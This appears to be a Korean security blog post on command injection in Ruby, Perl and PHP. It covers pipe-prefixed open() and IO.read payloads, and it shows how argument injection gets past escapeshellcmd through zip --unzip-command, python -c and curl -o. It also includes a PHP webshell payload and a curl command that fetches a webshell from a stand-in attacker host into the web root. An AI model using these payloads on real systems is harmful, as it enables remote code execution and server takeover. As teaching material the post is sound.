언어별 취약 시스템 명령어
Ruby & Perl
두 언어의 경우 파일 및 하위 프로세스의 I/O를 제공하는 open 함수가 존재한다.
[Ruby]
File.open("example.txt", "r") do |file|
contents = file.read
puts contents
end
[Perl]
open(my $file_handle, "<", "example.txt") or die "파일 열기 실패: $!";
while (my $line = <$file_handle>) {
print $line;
}
close($file_handle);
만약 첫 번째 문가자 | (파이프라인)일 경우 pipe_open 함수에서 처리된다. 해당 함수는 새로운 프로세스를 생성하므로, 임의 명령어를 실행시킬 수 있다.
rb_io_s_binred, rb_io_open, rb_is_s_read를 사용하는
IO.read, IO.bindread 두 함수를 사용하더라도 전달된 인자에 따라 프로세스를 실행하므로 아래와 같이 open함수처럼 사용할 수 있다.
[Ruby]
open("|id > /tmp/test")
IO.read("/tmp/test")
-------
IO.read("|id")
-------
IO.binread("|id")
[Perl]
perl -e 'open A, "|id"'
PHP
php의 경우 기본적으로 system 함수가 주어지지만 OS Injection 방지를 위해 escapeshellcmd라는 함수를 사용한다. 이는 메타 문자가 입력되었을 경우 해당 문자 앞에 \ 을 삽입하여 문자 그 자체로 인식되도록 하고있다.
하지만 특정 명령어의 인자로 입력값이 전달되는 경우 실행하고자 하는 명령어의 옵션을 조작할 수 있다.
기본적으로
- escapeshellcmd
- escapeshellarg
두 함수가 존재하며, escapeshellcmd 함수의경우 메타 문자를 활용하지는 못하지만 명령어의 옵션 또는 인자를 조작할 수는 있다.
이를 어떻게 활용할 수 있을까?
- zip
- zip 명령어의 —unzip-command 옵션이 존재한다 이는 인자로 전달된 명령어를 실행한다.
zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"
- python
- 파이썬의 -c옵션은 명령줄로 코드를 실행 할 수 있다.
python -c '__import__("os").system("id")' input.py
- curl
- curl의 -o옵션은 임의 경로에 파일을 저장할 수 있다. WebShell을 올리는 방안이 된다.
http://test.locat/test/?mgs=<?%3Dsystem($_GET[cmd]);?> -o /var/www/html/uploads/webshell.php
-o 옵션을 통해 외부의 데이터 또한 저장할 수 있다.
공격자의 웹 서버에 WebShell 을 업로드 한 상태에서
curl http://attack.com/webshell.php -o /var/www/html/webshgell.php
와 같이 업로드가 가능하다.
/var/www/html은 아파치의 기본 경로이다. 즉 index 라고 생각하면 된다.
혹은 아래와 같이 특정 데이터를 추출해 저장할 수도 있다.
curl http://test.local -o /tmp/hello.txt
위 코드의 경우 tset.local 에서 반환되는 데이터를 hello.txt에 저장하는 예시이다.
- wget
- wget 또한 curl과 동일하게 사용된다.
wget http://test.local -o hello.txt
Leave a comment